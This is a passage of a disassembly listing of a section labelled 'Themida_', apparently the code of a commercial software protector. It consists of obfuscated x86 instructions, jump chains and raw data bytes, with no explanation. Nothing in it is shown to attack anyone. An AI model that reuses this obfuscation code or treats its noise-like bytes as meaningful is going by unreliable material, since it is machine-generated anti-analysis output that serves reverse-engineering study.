		dd 59170442h, 5EDE181h,	0E18137C5h, 29E55D3Bh, 22F18149h
		dd 6823EB50h, 554Bh, 58240C89h,	1550E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A0A6:				; CODE XREF: Themida_:0056801Bj
		mov	[esp], edi
		jmp	loc_567C37
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 4C7835Dh, 5C243C87h,	1176E9h, 24348100h, 7C004EE8h
		dd 0E8F7815Fh, 587C004Eh, 4F02EFC1h, 5ACEF781h,	1FE964DBh
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A0DB:				; CODE XREF: Themida_:005654FEj
		pop	edi
		push	esi
		jmp	loc_5661D0
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 74FF575Dh, 64E90424h, 68FFFFDCh, 6C49h, 0E9240489h
		dd 0FFFF4405h, 33240C31h, 248B240Ch, 7628E924h,	0F729FFFFh
		dd 0FFC21BE9h, 0B3C381FFh, 124E475h, 0B3EB81D3h, 0E924E475h
		dd 0FFFFE912h, 4245429h, 0C292E95Ah, 77FFFFFFh,	59669D1Ch
		dd 9C241CD2h, 0FF31B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A13D:				; CODE XREF: Themida_:005645D0j
		add	dword ptr [esp], 530B5413h
		mov	ecx, [esp]
		push	ebp
		jmp	loc_56500A
; ---------------------------------------------------------------------------


loc_56A14D:				; CODE XREF: Themida_:005634A0j
		mov	edx, ecx
		mov	ebp, edx
		pop	edx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	ebp, 6
		not	ebp
		inc	ebp
		push	esi
		mov	esi, 2C3E2A2Bh
		or	esi, 603416BBh
		shl	esi, 8
		sub	esi, 3A0F21EAh
		jmp	loc_56D9B7
; ---------------------------------------------------------------------------


loc_56A187:				; CODE XREF: Themida_:0056F371j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6D5459B3h
		shl	ebx, 3
		shr	ebx, 3
		sub	ebx, 0F0C800E3h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 44551D79h
		jmp	loc_56DE79
; ---------------------------------------------------------------------------


loc_56A1B4:				; CODE XREF: Themida_:0056D2BCj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56581A
; ---------------------------------------------------------------------------
		db 28h,	0F8h, 0E9h
		dd 0FFFF4ECFh, 1D22F581h, 0EB293D8Fh, 1C875F5Dh, 49E95C24h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A1D7:				; CODE XREF: Themida_:0055DF85j
		mov	edi, [esp]
		jmp	loc_569BB2
; ---------------------------------------------------------------------------
aB4iIYhL	db '│а°4╗╢┴кYh^l',0
		dd 24148900h, 934972BAh, 0DAF7426Ah, 8308E2C1h,	0F281FFEAh
		dd 2F23298Dh, 7C5FC281h, 0D309E096h, 7587685Ah,	3C890000h
		dd 5382BF24h, 0FB312A2Bh, 0E9DF015Fh, 0FFFFBD12h
; ---------------------------------------------------------------------------


loc_56A224:				; CODE XREF: Themida_:00567FB5j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56155E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 9198E904h, 0DD01FFFFh, 52241C8Bh, 0FF5366E9h
		dd 4C481FFh, 0E9000000h, 0FFFF3099h, 24048B66h,	87AFE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A25E:				; CODE XREF: Themida_:0056C75Cj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	4000h
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_563AB7
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 51FECA35h, 255DE889h, 127C0BF7h, 0FFCDF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A291:				; CODE XREF: Themida_:00562A55j
		sub	eax, edx
		add	eax, 543D71C1h
		sub	eax, 2D043819h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_56D0A4
; ---------------------------------------------------------------------------


loc_56A2AC:				; CODE XREF: Themida_:00564953j
		mov	edi, 7E005F16h
		and	ebp, edi
		jmp	loc_56EB59
; ---------------------------------------------------------------------------


loc_56A2B8:				; CODE XREF: Themida_:0055E0F1j
		pop	dword ptr [esp]
		jmp	loc_56987C
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 4EC8300h, 0E9243C89h, 0FFFF62E7h, 76A4F381h
		dd 4DE97059h, 0C1000022h, 0F28108EAh, 5AB119D7h, 0EB3BF281h
		dd 0E9536641h, 0FFFF6645h, 0C581D5F7h, 0BB72966h, 4C04F581h
		dd 0EF01F37Dh, 0FFF9FEE9h, 7DE95BFFh, 1000053h,	242C8BE8h
		dd 2D04C483h, 4, 162068h, 24048900h, 42474FFh, 24048F58h
		dd 0E924248Bh, 1B42h, 253AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A33A:				; CODE XREF: Themida_:0055D3CCj
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	73D6h
		jmp	loc_5605DC
; ---------------------------------------------------------------------------


loc_56A34C:				; CODE XREF: Themida_:00567A5Aj
		shr	dh, 1
		xor	dh, 0BEh
		add	dh, 37h
		jmp	loc_562AAD
; ---------------------------------------------------------------------------
		db 57h,	81h, 0ECh
		dd 4, 68243489h, 45E0439Ch, 5E2434FFh, 0FF3167E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A371:				; CODE XREF: Themida_:0056BA95j
		pop	edx
		pop	ebp
		mov	dword ptr [edi+20h], 7B091886h
		sub	[edi+20h], edx
		mov	edx, [esp]
		jmp	loc_567F38
; ---------------------------------------------------------------------------


loc_56A385:				; CODE XREF: Themida_:00564BB9j
		add	esp, 4
		push	eax
		mov	eax, 0
		sub	eax, 1B430862h
		jmp	loc_55FF46
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 0E924048Fh, 4068h
; ---------------------------------------------------------------------------


loc_56A3A8:				; CODE XREF: Themida_:00570B6Dj
		mov	[esp], bx
		push	edx
		mov	dh, 0B6h
		mov	bl, dh
		pop	edx
		jmp	loc_56CA75
; ---------------------------------------------------------------------------


loc_56A3B7:				; CODE XREF: Themida_:0055F6CDj
		pop	ecx
		add	ebx, 7B9A01B1h
		sub	ebx, ebp
		sub	ebx, 7B9A01B1h
		mov	ebp, [esp]
		add	esp, 4
		shr	ebx, 1
		push	eax
		jmp	loc_561318
; ---------------------------------------------------------------------------
		dd 0F9E9CA89h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A3DB:				; CODE XREF: Themida_:0056D7F5j
		pop	dword ptr [edi+24h]


loc_56A3DE:				; CODE XREF: Themida_:0056F1B1j
		sub	esp, 4
		jmp	loc_570FC7
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1830000h, 240C3304h, 33240C31h, 248B240Ch
		dd 6386E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A406:				; CODE XREF: Themida_:0056C8A3j
		mov	[esp], esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_572656
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 0AB8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A436:				; CODE XREF: Themida_:00561B43j
		mov	esi, eax
		jmp	loc_57271B
; ---------------------------------------------------------------------------


loc_56A43D:				; CODE XREF: Themida_:00564618j
		push	ebx
		push	751Eh
		mov	[esp], ecx
		push	edx
		push	ebx
		mov	bl, 0C1h
		mov	dh, 24h
		xor	dh, bl
		pop	ebx
		mov	cl, dh
		pop	edx
		or	cl, 94h
		jmp	loc_56356A
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0E95BFD28h, 0FFFF3354h
		dd 4246C81h, 5EAF1E89h,	4246C81h, 6C2C615Ah, 0E9240C8Bh
		dd 0FFFFF36Ch
; ---------------------------------------------------------------------------


loc_56A48C:				; CODE XREF: Themida_:00571BAAj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56EB00
; ---------------------------------------------------------------------------
		dd offset dword_457444+7F24h
		align 4
		dd 50243489h, 4B8h, 8BC68900h, 10E92404h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A4AF:				; CODE XREF: Themida_:005633F8j
		mov	[esp], ebx
		push	ecx
		push	esi
		mov	esi, 153742F6h
		sub	esi, 728A1A64h
		sub	esi, 0A2AD286Eh
		jmp	loc_564E43
; ---------------------------------------------------------------------------
		dw 558h
		dd 4, 0FF3FC6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A4D5:				; CODE XREF: Themida_:00568B0Ej
		sub	eax, 922AF033h
		jmp	loc_560F41
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 0E9D92900h, 0FFFF97FBh, 0E9243C89h, 0FFFFCACCh
; ---------------------------------------------------------------------------


loc_56A4F4:				; CODE XREF: Themida_:005615A4j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		mov	edi, 3A9A19FAh
		and	edi, 1B5154D4h
		inc	edi
		and	edi, 21F81291h
		sub	edi, 10108Dh
		add	edx, 5652542Bh
		jmp	loc_5654F6
; ---------------------------------------------------------------------------
		dd 9A1D0AB9h, 0DCBD5574h, 0C13A4036h, 0C58104E5h, 0E15529Ch
		dd 276AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A539:				; CODE XREF: Themida_:0055FAB9j
		sub	edi, 8E7B61Eh
		mov	esi, edi
		pop	edi
		shr	esi, 6
		jmp	loc_571E01
; ---------------------------------------------------------------------------
a13LH		db '1,$3,$▀$$h',0
		db '^',0
		align 4
		dd 68241C89h, 4232h, 53240489h,	0E9D48850h, 0FFFFC5BFh
		dd 875EF301h, 15C241Ch,	0C3835AD3h, 241C3302h, 33241C31h
		dd 6EE9241Ch
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A587:				; CODE XREF: Themida_:005619A6j
		add	edx, 0AEB3141h
		add	edx, ecx
		sub	edx, 0AEB3141h
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_570B1E
; ---------------------------------------------------------------------------


loc_56A5A9:				; CODE XREF: Themida_:00572222j
		pop	ebx
		jmp	loc_56BEBC
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 0FFB674E9h, 0BB5353FFh, 1FA84D8Dh, 4245C29h, 0C7815F5Bh
		dd 1FA84D8Dh, 0E955475Bh, 0FFFF4858h, 7E06CE81h, 0E6E96BE4h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A5DF:				; CODE XREF: Themida_:0056B860j
		not	ebp
		xchg	ebp, esi
		add	esi, 0CDCA5519h
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_569E41
; ---------------------------------------------------------------------------


loc_56A601:				; CODE XREF: Themida_:00562BD3j
		pop	eax
		add	ebx, 667700E9h
		jmp	loc_566CFC
; ---------------------------------------------------------------------------


loc_56A60D:				; CODE XREF: Themida_:0055E77Bj
		mov	[esp], esi
		jmp	loc_563EBD
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1830000h, 240C8704h, 0D3E9565Ch, 8100001Ch
		dd 890371EFh, 240C8B68h, 8704C483h, 248B243Ch, 7ED86824h
		dd 24890000h, 24048324h, 24048F04h, 4240483h, 8124048Fh
		dd 42404h, 8EE90000h, 5BFFFF2Ch, 746BE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A665:				; CODE XREF: Themida_:005716E3j
		pop	ebp
		sub	ebp, 7BD27926h
		jmp	loc_55EFEE
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 91h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A677:				; CODE XREF: Themida_:0056ABF4j
		mov	[esp], eax
		mov	ah, 0DFh
		jmp	loc_56EAF6
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0DE88C388h, 0E9241C8Bh, 0FFFFD313h, 4C4815Bh, 2C000000h
		dd 4D028AAh, 2434FFAAh,	4C4815Ah, 52000000h, 807FB151h
		dd 0F18072C1h, 4EC81D8h, 0E9000000h, 0FFFF2C92h, 0C7815F54h
		dd 4, 4C781h, 1BE90000h, 66FFFF73h, 0E956664Bh,	0FFFF3BFFh
		dd 14BC181h, 0C1294122h, 14BE981h, 89584122h, 0C8E959CBh
		dd 80FFFF7Dh, 0EE80CFEEh, 0EB8058E4h, 7522E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A6FE:				; CODE XREF: Themida_:0056A758j
		push	edi
		push	esi
		mov	esi, 57E01D9Fh
		inc	esi
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	ebp
		jmp	loc_56F937
; ---------------------------------------------------------------------------


loc_56A716:				; CODE XREF: Themida_:00562AC9j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_561667
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 50h
		dd 40B3BF57h, 0E7C17134h, 0CF814F02h, 38024177h, 627AE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A73D:				; CODE XREF: Themida_:0056F1E6j
		pop	esi
		jmp	loc_56321D
; ---------------------------------------------------------------------------


loc_56A743:				; CODE XREF: Themida_:00570E9Aj
		pop	esi
		add	edx, 6E347053h
		add	edx, eax
		sub	edx, 6E347053h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56A6FE
; ---------------------------------------------------------------------------


loc_56A75D:				; CODE XREF: Themida_:0056817Dj
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_561D90
; ---------------------------------------------------------------------------


loc_56A76B:				; CODE XREF: Themida_:00569D83j
		mov	esi, 3EB837A2h
		add	ebx, esi
		pop	esi
		or	ebx, 62A03803h
		add	ebx, 5C96AD1Bh
		and	ecx, ebx
		jmp	loc_56D8C7
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 8B240433h, 89662424h, 0F66240Ch, 5166C8B6h
		dd 2B4BE99Ch, 77FFFFFFh, 2434FF3Ch, 582434FFh, 4EC81h
		dd 72E90000h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A7B7:				; CODE XREF: Themida_:0056CA77j
		pop	bx
		add	ch, 21h
		sub	ch, 0B1h
		jmp	loc_570DE7
; ---------------------------------------------------------------------------
		dd 0E95AD029h, 5215h
; ---------------------------------------------------------------------------


loc_56A7CC:				; CODE XREF: Themida_:0056B052j
		xor	ecx, 420219C6h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 566212A6h
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	3F23h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55FB5A
; ---------------------------------------------------------------------------
		db 29h
		dd 4F82E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A806:				; CODE XREF: Themida_:00565C99j
		add	bl, al
		sub	bl, 4
		sub	bl, 52h
		add	bl, 43h
		push	cx
		push	ebx
		mov	bl, 0F1h
		sub	bl, 8Ch
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dh, bl
		mov	ah, dh
		pop	edx
		jmp	loc_567724
; ---------------------------------------------------------------------------


loc_56A82A:				; CODE XREF: Themida_:0056D6E7j
		mov	ebp, 2C6018B3h
		jmp	loc_56FD1A
; ---------------------------------------------------------------------------
		dd 8853F086h, 0F6CB86F3h, 0E9CB86D1h, 3D58h
; ---------------------------------------------------------------------------


loc_56A844:				; CODE XREF: Themida_:0056D09Fj
		xchg	esi, [esp]
		not	esi
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, 57A14213h
		add	ebx, 256C40C3h
		add	ebx, ebp
		sub	ebx, 256C40C3h
		sub	ebx, 57A14213h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55EC66
; ---------------------------------------------------------------------------
		dw 0D668h
		dd 89000074h, 68512414h, 5796h,	0B3241C89h, 0E9DD889Bh
		dd 0FFFF9B1Ah
; ---------------------------------------------------------------------------


loc_56A8AC:				; CODE XREF: Themida_:00561562j
		add	esp, 4
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		jmp	loc_570074
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7810000h, 2, 0E9243C87h, 0FFFF6702h, 0F2015F5Fh
		dd 46C0C281h, 8B5E764Fh, 89522404h, 4C281E2h, 81000000h
		dd 4C2h, 24148700h, 51E9565Ch, 50FFFFB0h, 6F1A7CB8h, 6B220502h
		dd 6805509Dh, 1ACFB7Ch,	0FE0158C7h, 4EE815Fh, 87000000h
		dd 895C2434h, 0F589242Ch, 24348155h, 48BF2496h,	2256E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A939:				; CODE XREF: Themida_:00569033j
		pop	ebp
		add	esp, 4
		add	eax, 4F33FE3h
		add	eax, edx
		sub	eax, 4F33FE3h
		push	ecx
		mov	ecx, 0
		add	ecx, eax
		jmp	loc_567100
; ---------------------------------------------------------------------------
		dw 5456h
		dd 621D685Eh, 14890000h, 4BA24h, 40E90000h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A96B:				; CODE XREF: Themida_:00567327j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ecx, 6A059AAh
		sub	ecx, 28CD3FC9h
		mov	edx, ecx
		pop	ecx
		xor	edx, 4DEE5955h
		add	edx, 0A71500D1h
		jmp	loc_56BA43
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 66h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A99B:				; CODE XREF: Themida_:0055EF9Aj
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_55F319
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 34FF04C4h, 89525A24h, 0C42EE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A9BE:				; CODE XREF: Themida_:0056372Fj
		sub	eax, 0F00B2999h
		mov	esi, eax
		pop	eax
		jmp	loc_568E6C
; ---------------------------------------------------------------------------
		db 50h
		dd 955C8DB8h, 58C52911h, 5083ED81h, 40E94133h, 89FFFFF6h
		dd 0B568242Ch, 89000070h, 4832424h, 2C8B0424h, 4C48324h
		dd 0FF67B6E9h, 0F38966FFh, 0FFE83AE9h, 6F7905FFh, 2C8B77B5h
		dd 4C48124h, 51000000h,	877532B9h, 116F2D12h, 3F0563A9h
		dd 171410Fh, 0F3F2DC8h,	0BD557141h, 63A9116Fh, 64BBE9h
		dd 0ED815D00h, 75AB0A3Eh, 304F581h, 0ED8178C2h,	632078BFh
		dd 8904EC83h, 19B82404h, 0E938E266h, 4B37h, 493CEABAh
		dd 0C3EA8113h, 290ADF28h, 815B5AD1h, 4C1h, 240C8700h, 68E1F75Ch
		dd 6904h, 50241489h, 286FE99Ch,	0C980FFFFh, 0E9D9F667h
		dd 0FFFFBFC6h, 4C481h, 0D8010000h, 21D6BA52h, 0D0010318h
		db 5Ah,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_564CF9
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 0A2054096h, 31DEF551h, 0EF8158C7h, 3E51130Ah, 0C02E9h
		dd 5EDC100h, 17D5CD81h,	90E93B5Fh, 83FFFF2Ch, 1C8704C4h
		dd 8568E924h, 49B8FFFFh, 5717632h, 0A8DB2E0Eh, 0FF4C25E9h
		dd 0C1C781FFh, 3148643Fh, 0D6F75FFEh, 54F0EE81h, 0EA8135BBh
		dd 2B1D2A93h, 0FFCC83E9h, 5E5456FFh, 4BD55h, 0C6810000h
		dd 2E304576h, 313BC681h, 0EE015182h, 313BEE81h,	68525182h
		dd 2E304576h, 6F5EE95Ah, 0C1830000h, 240C8704h,	2C5815Ch
		dd 0E9000000h, 46A3h
; ---------------------------------------------------------------------------


loc_56AB48:				; CODE XREF: Themida_:00568CFCj
		mov	ebp, 72CB06F3h
		mov	esi, 10F15E39h
		xor	esi, ebp
		jmp	loc_56424C
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1858669Dh, 0E99C2404h, 5CF7h
; ---------------------------------------------------------------------------


loc_56AB68:				; CODE XREF: Themida_:00567B9Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56EEE3
; ---------------------------------------------------------------------------


loc_56AB8C:				; CODE XREF: Themida_:00571382j
		mov	[esp], ebx
		jmp	loc_5718B3
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0E2895200h,	4C281h,	0C2830000h, 24148704h
		dd 3AC5815Ch, 125E332h,	0DB34E9C5h, 0F653FFFFh,	5B012454h
		dd 5697E9h
		db 0
; ---------------------------------------------------------------------------


loc_56ABC5:				; CODE XREF: Themida_:0055EC83j
		and	eax, 54260442h
		add	eax, 1CEA4BC5h
		xor	eax, 2D27063Fh
		dec	eax
		jmp	loc_568B09
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 81E18924h, 4C1h, 0B7F6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56ABEA:				; CODE XREF: Themida_:0057065Bj
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		sub	esp, 4
		jmp	loc_56A677
; ---------------------------------------------------------------------------
a31Skz		db '3,$1,$И┼z',0
		align 4
aC_6		db '╡Ф',0
aSjo		db 'сИJo',0
		dd 148B6600h, 2C48324h,	1EC0E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AC1A:				; CODE XREF: Themida_:00569922j
		mov	[esp], esi
		mov	esi, 5A9E1FB0h
		push	7E44h
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_55E24F
; ---------------------------------------------------------------------------


loc_56AC32:				; CODE XREF: Themida_:00560475j
		mov	eax, esp
		push	edi
		jmp	loc_5680D8
; ---------------------------------------------------------------------------


loc_56AC3A:				; CODE XREF: Themida_:0056EA0Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_562A70
; ---------------------------------------------------------------------------


loc_56AC58:				; CODE XREF: Themida_:00563625j
		mov	ebp, 314327h
		and	eax, ebp
		pop	ebp
		push	edx
		jmp	loc_5612DD
; ---------------------------------------------------------------------------


loc_56AC66:				; CODE XREF: Themida_:00562683j
		sub	edi, 1531500Ch
		add	edi, ebp
		add	edi, 1531500Ch
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56FD75
; ---------------------------------------------------------------------------
		db 0ADh, 52h, 0E9h
		dd 0FFFFC117h
; ---------------------------------------------------------------------------


loc_56AC84:				; CODE XREF: Themida_:00568335j
		dec	edx
		add	edx, 43893857h
		jmp	loc_569B11
; ---------------------------------------------------------------------------
		dd 41DEF781h, 0EC8314BEh, 24148904h, 0FFD40AE9h, 241487FFh
		dd 243C895Ch, 0B5470FBFh, 56EB817Fh, 2956D061h,	56BF57FBh
		dd 8156D061h, 363B7DC3h, 9DC38155h, 1605702h, 7CE3E9FBh
		dd 0C3810000h, 1C3500CDh, 2B4EEB81h, 295E2324h,	0C5015BD8h
		dd 4EC8358h, 68240C89h,	4, 59CD2959h, 31242C33h, 2C33242Ch
		dd 24248B24h, 68240C89h, 7BCEh,	51240489h, 1AB55152h, 8859EE88h
		dd 86B45AF1h, 8059CC28h, 0C4805AC4h, 58E188E0h,	0C8BC828h
		dd 4C48324h, 444268h, 240C8900h, 861AB450h, 86D7F6FCh
		dd 42E953FCh, 81FFFF45h, 0B16D47E3h, 81EBD121h,	0F6DC3FF3h
		dd 0C340507h, 8A2D3524h, 296A2557h, 0DA3DE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AD5E:				; CODE XREF: Themida_:0056BA86j
		add	edx, esi
		push	ebx
		mov	ebx, 6AD6324Bh
		sub	ebx, 99EC927h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5626A2
; ---------------------------------------------------------------------------
		dd 17C66850h, 48B789Eh,	4C48124h, 51000000h, 0FE2C74B9h
		dd 54E18171h, 0F773A92Fh, 33F181D1h, 299D77AAh,	0C20159CAh
		dd 7998B951h, 0EA811320h, 559E2E60h, 0C281CA01h, 559E2E60h
		dd 0FFC916E9h, 240431FFh, 252FE99Ch, 0F480FFFFh, 2E4C027h
		dd 3111E9h
		db 0
; ---------------------------------------------------------------------------


loc_56ADC9:				; CODE XREF: Themida_:00565E49j
		push	ebx
		mov	ebx, 3B9A50E4h
		add	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	ebp
		push	esi
		jmp	loc_56865E
; ---------------------------------------------------------------------------


loc_56ADF2:				; CODE XREF: Themida_:0056FC05j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56C095
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0B10Ch
		dw 8900h
		dd 43BE2434h, 4609C953h, 20BB5357h, 0E926B762h,	0FFFF5428h
		dd 597D3EBEh, 0E9DEF74Fh, 0FFFF400Ah, 7B61DDBDh, 5DE92928h
		dd 0CD2CF181h, 0EF81ED49h, 7C720C3Eh, 0C781CF29h, 7C720C3Eh
		dd 0DBEF8159h, 8162303Ch, 404A38C7h, 81CF0109h,	404A38EFh
		dd 4EC8309h, 56241C89h,	0FB437ABEh, 7FA1BB2Dh, 0F3314FCBh
		dd 188E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56AE76:				; CODE XREF: Themida_:005625A8j
		shr	al, 8
		neg	al
		and	al, 0FAh
		sub	al, 0FFh
		sub	cl, al
		jmp	loc_5661AA
; ---------------------------------------------------------------------------
		dw 5259h
		dd 84871BAh, 0E3C38142h, 2975AC5Ch, 0E3EB81D3h,	5A75AC5Ch
		dd 0C381C301h, 42084871h, 30B16855h, 34890000h,	3B0BBE24h
		dd 0E956125Fh, 0FFFF6802h, 83241C8Bh, 0EC6804C4h, 0E900003Eh
		dd 0FFFF480Ah, 4C781h, 0A0680000h, 8900007Bh, 31BA2414h
		dd 835F9743h, 3C8904ECh, 4E1BF24h, 0D7F7314Eh, 6851E952h
		dd 0FF54FFFFh, 815F2434h, 4C4h,	4EC8100h, 89000000h, 6E9240Ch
		dd 0B1FFFF96h, 66CB288Ah, 5E3C059h, 0E957B450h,	0FFFFD37Eh
		dd 0BE56D787h, 0DF780003h, 815EF701h, 2A50B9C3h, 51FB0109h
		dd 323980B9h, 16E95775h
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AF37:				; CODE XREF: Themida_:00565389j
		push	edi
		mov	edi, 4D43360Fh
		jmp	loc_5661D8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0F58236F8h, 0FE9DE09h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56AF4F:				; CODE XREF: Themida_:0056866Fj
		sub	ebp, 0CDEF92AAh
		jmp	loc_56D6EC
; ---------------------------------------------------------------------------
		dw 0EA08h
		dd 81240C8Bh, 4C4h, 50C28000h, 805AD428h, 0F65098ECh, 58012454h
		dd 0E947EC80h, 0FFFFB76Dh
; ---------------------------------------------------------------------------


loc_56AF7C:				; CODE XREF: Themida_:005688BAj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56ECDA
; ---------------------------------------------------------------------------


loc_56AF8A:				; CODE XREF: Themida_:0055EB0Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		push	6C2A09AFh
		mov	esi, [esp]
		add	esp, 4
		and	esi, 5B91121Eh
		xor	esi, 2E2A2988h
		jmp	loc_55DC87
; ---------------------------------------------------------------------------


loc_56AFB8:				; CODE XREF: Themida_:0056CBAEj
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_567F52
; ---------------------------------------------------------------------------


loc_56AFCD:				; CODE XREF: Themida_:00563CB1j
		pop	ebx
		push	edx
		mov	edx, 6A91A20h
		xor	ebx, edx
		jmp	loc_56BA11
; ---------------------------------------------------------------------------
aXsG		db 'XИоg',0
		db 0
; ---------------------------------------------------------------------------


loc_56AFE1:				; CODE XREF: Themida_:00569025j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_567C71
; ---------------------------------------------------------------------------
		dw 8059h
